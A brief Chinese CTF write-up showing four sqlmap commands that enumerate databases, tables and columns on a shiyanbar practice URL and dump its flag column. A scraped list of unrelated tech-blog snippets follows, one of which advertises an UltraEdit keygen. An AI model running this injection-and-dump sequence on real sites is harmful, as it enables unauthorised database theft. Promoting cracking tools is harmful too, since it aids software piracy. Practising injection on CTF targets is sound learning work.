SQL（sqlmap工具）
輸入1，頁面顯示hello，輸入1'，頁面報錯
1.報資料庫 --dbs
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs
2.猜表段 --tables （需指定資料庫 -D 資料庫名）
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1
3.猜欄位 --columns （需制定表段 -T 制定資料庫 -D）
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1
4.猜欄位內容 --dump （需指定欄位 -C 制定表段 -T 制定資料庫 -D）
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1
相關推薦
SQL（sqlmap工具）
輸入1，頁面顯示hello，輸入1'，頁面報錯1.報資料庫 --dbssqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs2.猜表段 --tables （需指定資料庫 -D 資料庫名）s
《Oracle PL/SQL例項精講》學習筆記26——優化PL/SQL（第一部分——PL/SQL調優工具）
本章內容： 1. PL/SQL調優工具（使用PL/SQL剖析器API、使用跟蹤API、使用PL/SQL層次式剖析器） 2. PL/SQL優化級別 3. 子程式內聯 程式碼如下： 1. 檢視PLSQL_DEBUG引數 SQL> show parame
在 Ubuntu13.10 服務器中安裝 Munin（監視工具）【轉】
一個 程序 系統 htm 打開終端 install 監視 pac apt-get Munin 監測工具可檢測所有的計算機，並記錄好看到的計算機。通過圖形Web界面的的方式顯示所有信息。重點是即插即用的功能。完成安裝後，大量的控插件會被打。 使用 Munin 您可以輕松地監視
AI工具（縮放工具）(路徑查找器）（旋轉工具）5.12
ctrl+v 文件 文字 間距 默認 5.1 span ctrl -s 縮放工具：選擇圖形，點擊工具欄縮放工具，”ENTER"輸入縮放比例，“復制”完成縮放復制。 路徑查找器：選擇兩個圖形，“窗口”“路徑查找器”“差集”：大圓減去小圓，留下圓環。 “減去頂層”：用下面的圖形
python(第四版閱讀心得)（系統工具）（一）
pro rename _id multi temporary inter path 運行 pid 本章將會講解python常用系統工具的介紹 python中大多數系統級接口都集中在兩個模塊: sys 和 os 但仍有部分其他標準模塊也屬於這個領域 如： 常見： glob
Mysql 之 性能分析（mysqlreport工具）
lin admin multi tar localhost per 必須 數據 log 一、mysqlreport 作用 進行MySQL的配置優化，首先必須找出MySQL的性能瓶頸所在；而SHOW STATUS輸出的報告正是用來計算性能瓶頸的參考數據。mysqlreport
mysql 省份城市縣區資料表SQL（包含經緯度）
CREATE TABLE IF NOT EXISTS T_Area ( areaId int(20) NOT NULL AUTO_INCREMENT COMMENT ‘地區Id’, areaCode varchar(50) NOT NULL COMMENT ‘地區編碼’,&n
UltraEdit 25註冊機及免費破解註冊教程（附帶工具）
UltraEdit 25註冊機是一款專門針對UltraEdit 25.00版本出品的啟用破解工具，旨在幫助使用者可以對ultraedit 25軟體進行破解許可，解除官方所有限制功能，讓其原本需要花錢購買的如今可以直接免費使用！UltraEdit 25註冊機能夠生成標準UltraEdit 25註冊碼，
sencha inspector（除錯工具）
Sencha Inspector 一：安裝sencha inspector 使用Sencha Inspector下載Ext JS試用版（可在此處獲得）。 下載後，雙擊下載的檔案以啟動安裝程式，然後按照說明進行操作。 視訊演練，顯示了使用Sencha Inspector 連線應用程式的過程。 二：連線應用
virtuabox 按照虛擬機器（centos7） 並對映本地資料夾至虛擬機器（增強工具）
一、安裝環境 作業系統：windows10 virtualbox: 5.2.20 （在安裝virtualbox 時可能需要 進入BIOS 設定虛擬化系統啟動） 二、新建虛擬機器 1、新建虛擬機器的名稱和設定虛擬機器的型別與版本 2、分配記憶體。可根據自己的實際情況分配，
《Oracle PL/SQL例項精講》學習筆記18——本地動態SQL （第二部分）
本章內容： 1. EXECUTE IMMEDIATE語句 2. OPEN-FOR、FETCH和CLOSE語句 程式碼如下： 2. OPEN-FOR、FETCH和CLOSE語句 SQL> DECLARE 2 TYPE zip_cur_type IS
Win7及Win10系統安裝圖文教程（帶工具）
本文以安裝Win7和Win10系統為例，分別介紹了新電腦安裝系統和舊電腦重灌系統的方法，並提供了安裝過程中所用到的工具下載地址。 系統安裝步驟：下載映象 >> 下載映象解壓工具 >> 買個U盤 >> 解壓映象到U盤 >
（小工具）Java反射機制實現任意物件集合按指定任意欄位進行分組通用程式實踐
在應用開發的時候，我們有時候會遇到需要對一個給定集合進行分組的情況。如果該集合的資料記錄是從資料庫的獲取，通常我們最簡單的方案是直接在sql層面select後group by完成。 但是，假如某些場景下該資料不是從資料庫獲取呢？那就需要在應用程式層面進行分
（小工具）Java分組排序通用程式實踐（終結篇）
本文是前兩篇文章的終結篇，由前兩篇文章介紹的通用程式，可以組合出分組排序以及提供排列名次的通用程式功能。 還記得這篇介紹mysql分組排序顯示序列號（排列名次）的技巧嗎?其實當時這種sql的處理有個漏洞，就是第1,2名的分數相同時候，該sql的
（小工具）Java反射機制實現任意物件集合排序並且獲取排列名次的通用程式實踐
在應用開發的時候，我們有時候會遇到需要對一個給定集合進行排序的情況。如果該集合的資料記錄是從資料庫的獲取，通常我們最簡單的方案是直接在sql層面select後order by完成。 但是，假如某些場景下該資料不是從資料庫獲取呢？那就需要在應用程式層面進行排
日常運維管理技巧十六（screen工具）【完】
使用telnet或SSH遠端登入linux時，如果連線非正常中斷,重新連線時,系統將開一個新的session,無法恢復原來的session。 screen命令可以解決這個問題。 Screen工具是一個終端多路轉接器,在本質上,這意味著你能夠使用一個單一的終端視窗執行多終
Eclipse快捷鍵與輸入法的衝突（藉助工具）
一直想把電腦的資料好好歸類整理下 ，於是前幾周就把電腦重灌了下系統。因為每天比較忙，裝了幾個軟體，整了點資料後就一直放著，平時就用本本。昨天從單位帶了個myEclipse7.5安裝檔案回來，聽說增加了蠻多新功能的，決定試下。在這中間就遇到一個eclipse的程式碼補全功能鍵
資料庫系統概念（第六版）課後習題答案-第三章SQL（實踐習題）
3.1 使用大學模式，用SQL寫出如下查詢。（建議在一個數據庫上實際執行這些查詢，使用我們在本書的Web網站db-book.com上提供的樣本資料，上述網站還提供瞭如何建立一個數據庫和載入樣本資料的說明。）Classroom(building, room_number, ca
percona-toolkit（pt工具）使用總結
1.安裝 yum install perl-DBD-MySQL perl-Time-HiRes perl-IO-Socket-SSL perl-DBI perl-ExtUtils-CBuilder perl-ExtUtils-MakeMaker -y tar zxvf percona-too
Android之DiskLruCache（快取工具）
DiskLruCache所有的資料都儲存在/storage/emulated/0/Android/data/應用包名/cache/XXX資料夾中(你也可以修改，但不建議這樣做，原因請繼續往下看)，這個是android系統預設的應用快取位置，如果應用被刪除